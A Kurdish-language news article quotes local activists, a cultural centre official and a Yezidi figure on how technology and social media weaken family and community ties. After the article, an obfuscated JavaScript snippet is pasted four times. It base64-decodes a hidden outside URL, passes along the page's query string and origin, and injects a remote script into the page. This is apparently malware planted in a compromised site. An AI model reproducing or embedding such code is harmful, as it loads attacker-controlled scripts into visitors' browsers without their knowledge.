تەكنۆلوژیایێ كارتێكرن ل پەیوەندیێن جڤاكی كریە
نها جیاوازی و گوهۆڕینەكا مەزن د پەیوەندیێن جڤاكی و خێزانی دا پەیدا بویە، بێگۆمان د بەرێ دا پەیوەندی بهێزتر بون و سەرەدان پتر بوون، لێ نوكە پەیوەندی بەر ب لاوازیێ چۆینە، ژبەركو پتریا خەلكی ب سوشیال میدیایێ ڤە د گرێداینە.
سرۆش عەبدوللا، چالاكڤانە و ئەندامێ بوڕدا بڕیاردانێ ل تورا CNO ل دهوكێ بۆ ڕۆژناما ئەڤرۆ دیار كر كو د هەموو جڤاكان دا پەیوەندیێن جڤاكی یێن بەر ب لاوازیێ دچن و جڤاكی پێنگاڤ بەر ب مودێرن سازیێ ڤە هاڤێتینە، چۆنكی مرۆڤ بلەز پشكداریێ د لڤین و ماندیبونا باژێران دا دكەت و گۆت: ژلایێ ئابوری ژیڤە هەردەما ئاستەنگ و فشارێن دەرەكی ل سەر جڤاكی هەبن، لاوازبون د پەیوەندیان دا دروست دبیت
سرۆشی دیار كر ژی، پێشڤەچۆنا تەكنۆلوژیایێ باندۆرەكا مەزن ل سەر پەیوەندیان دروستكریە و ئەگەرێ سەرەكی دزڤڕیت ژ بۆ كێم هشیاریا بكارئینانا ئامیرێن تەكنۆلۆژیایێ و گۆت: گرنگە ئەڤ ئەگەرە هەموو د چارچۆڤەیێ بارۆدوخێ تایبەتێ كوردستانێ دا لبەرچاڤ بهێنە وەرگرتن و چارەسەریێ ژی پێدڤی ب رێبازەكا فڕە لایەن هەیە كو دامۆیەكا سیاسی و جڤاكی و ئابوری و كەلتوری لبەر چاڤ بهێنە وەرگرتن.
هوزان ئیسماعیل، بەرپرسا سەنتەرێ سێمێل یێ ڕەوشەنبیری دیار كر كو هەكە بەراوردیەكێ دناڤبەرا پەیوەندیێن جڤاكی یێن بەرێ و نها بكەین دێ بینین كو جیاوازی و گوهۆڕینەكا مەزن د پەیوەندیێن جڤاكی و خێزانی دا پەیدا بویە، بێگۆمان د بەرێدا پەیوەندی بهێزتر بون و سەرەدان و شەڤبیری و جەژن و ئاهەنگ پتر بوون و گۆت: نوكە پەیوەندی ب گشتی بەر ب لاوازیێ چۆینە، ژبەركو پتریا خەلكی ب سوشیال میدیایێ ڤە د گرێداینە.
هوزانێ گۆتژی: تەكنۆلوژیا زوی هاتە دناڤ جڤاكێ مە دا و ب مخابنی ڤە وەكو پێدڤی ب دروستی ناهێتە بكارئینا و ئەڤە ژی دبیتە ئەگەرێ لاوازبونا پەیوەندیان، ژبلی بكارئینانا تەكنۆلوژیا و سوشیالێ هندەك یاریێن ئەلكترونی ژی دەركەفتینە كو تایبەتن ب گەنجان ڤە و ئەڤێ چەندێ ژی كارتێكرنەكا مەزن دروستكریە.
سەبارەت هەمان بابەت كاوە خەتاری، چالاكڤان و كەسایەتیێ ئولا ئێزدیە دیار كر كو ژ ئەگەرێ پێشڤەچۆنا تەكنۆلوژیایێ كارتێكرنەكا مەزن ل پەیوەندیێن جڤاكی و خێزانی بویە، لەوما دووراتیەك دروستكریە دناڤ خێزانێ ژی دا و گۆت: د بەرێ دا گرێدانەكا مەزن هەبوو دناڤبەرا جڤاكی و داب ونەریتێن كەڤن، لێ د نهادا دابو نەریت ژی هاتینە گۆهارتن .
خەتاری د بەردەوامیا ئاخفتنا خۆدا دیار كر كو جڤاكێ كوردێن ئێزدی ژی نە یێ دوورە ژ جڤاكێ كوردەواریێ كوردستانێ و گۆت: جیاوازیا جڤاكێ ئێزدی ئەوە كو وان هندەك رێو رەسمێن ئایینی هەنە و هەموو هەیڤان خڕڤە دبن ل جهێن تایبەت دروست دبن ژبەرهندێ ئەڤە دبنە ئەگەر كو پەیوەندیێن وان موكومتر لێ بهێن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
